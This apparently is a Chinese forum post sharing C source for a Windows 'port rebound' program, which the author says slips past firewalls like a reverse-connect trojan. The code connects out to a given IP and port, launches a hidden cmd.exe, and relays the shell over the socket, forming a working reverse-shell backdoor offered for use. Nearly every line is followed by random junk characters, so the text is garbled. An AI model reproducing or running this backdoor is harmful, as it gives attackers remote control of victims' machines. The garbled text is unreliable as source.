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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S,a:H*Hf  
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/* ============================== {s6hi#R>  
Rebound port in Windows NT \XfLTv  
By wind,2006/7 JbN,K  
===============================*/ f'BmIFb#  
#include P0k.\8qz  
#include Gh<#wa['}  
#F6M<V'  
#pragma comment(lib,"wsock32.lib") [jGE {<Je  
@4Q /J$  
void OutputShell(); 8N3rYx;d~  
SOCKET sClient; !P":z0K4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vl'rO_?t  
/J(~NGT  
void main(int argc,char **argv) : ?>yi7w  
{ ZmJ<FF4  
WSADATA stWsaData; OM`Ws5W}f  
int nRet; ~D`  
SOCKADDR_IN stSaiClient,stSaiServer; D r"PS >.  
=Wz)(N  
if(argc != 3) A7T(p7pP  
{ k,ezB+  
printf("Useage:\n\rRebound DestIP DestPort\n"); Qv)DSl  
return; &v feBth  
} ?=HoU3  
J0o,ZH9  
WSAStartup(MAKEWORD(2,2),&stWsaData); p4 $4;)  
m @)Ya*=<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =GiN~$d  
phwBil-vUU  
stSaiClient.sin_family = AF_INET; t@iw&> 8z  
stSaiClient.sin_port = htons(0); \VypkbE+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $yUPua/-  
cE?p~fq<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r[#*..Y  
{ jHV) TBr  
printf("Bind Socket Failed!\n"); R~;8v1>K  
return; .\3gb6S}  
} ,pUB[w\  
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stSaiServer.sin_family = AF_INET; t"5ZYa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AE Abny q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6zGeGW  
R'oGsaPB2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `H9 !Z$7G  
{ 3ik~PgGoKQ  
printf("Connect Error!"); S8C} C#  
return; urQ<r{$x0  
} j{/5i`5m  
OutputShell(); Ci2*5n<  
} g\*2w @  
<<-BQ l~  
void OutputShell() (%9J( 4  
{ bP%X^q~]A  
char szBuff[1024]; ucJ8l(?Qc  
SECURITY_ATTRIBUTES stSecurityAttributes; L^2wEF  
OSVERSIONINFO stOsversionInfo; t7*F,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lk=[Xo  
STARTUPINFO stStartupInfo; Yqv!ZJ6  
char *szShell;  O@skd2  
PROCESS_INFORMATION stProcessInformation; mqY=N~/O  
unsigned long lBytesRead; F3x*dq2  
cb/$P!j7  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ziv+*Qn_b4  
?ea5k*#a  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ml )<4@  
stSecurityAttributes.lpSecurityDescriptor = 0; ]}.|b6\  
stSecurityAttributes.bInheritHandle = TRUE; ^Of\l:q*  
g``S SU  
Q,};O$h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4Vd[cRh2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $- Y8@bw  
XG5"u  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }}Gkipp  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \vuWypo  
stStartupInfo.wShowWindow = SW_HIDE; .s|5AC[  
stStartupInfo.hStdInput = hReadPipe; q77Iq0VR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q3|SZoN  
BG6Lky/omz  
GetVersionEx(&stOsversionInfo); xFA`sAucr  
 l .m #  
switch(stOsversionInfo.dwPlatformId) V=Z%y$1Bc  
{ EH'eyC-B<  
case 1: ^__ P;Gr`  
szShell = "command.com"; QJI]@3 Y  
break; :]LW,Eql  
default: HaF&ooI5+  
szShell = "cmd.exe"; ;)ERxMun  
break; sGa "  
} VS65SxHA  
BU|m{YZ$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /)4Q%Zp  
xX8 c>p  
send(sClient,szMsg,77,0); @2>ce2+  
while(1) BLm}mb#/{  
{ 1\/~>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AU;Iif6  
if(lBytesRead) x@x5|8:ga  
{ %Kh}6   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CM t$ )  
send(sClient,szBuff,lBytesRead,0); @k/|%%uP  
} ]puDqu5!  
else .fK~IKA  
{ "po;[ Ia2  
lBytesRead=recv(sClient,szBuff,1024,0); c#@L~<  
if(lBytesRead<=0) break; ;h#Q!M&e#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VuH }@  
} tn|H~iF{  
} khQ fLA  
`'pfBVBz  
return; eGWwPSIp  
}
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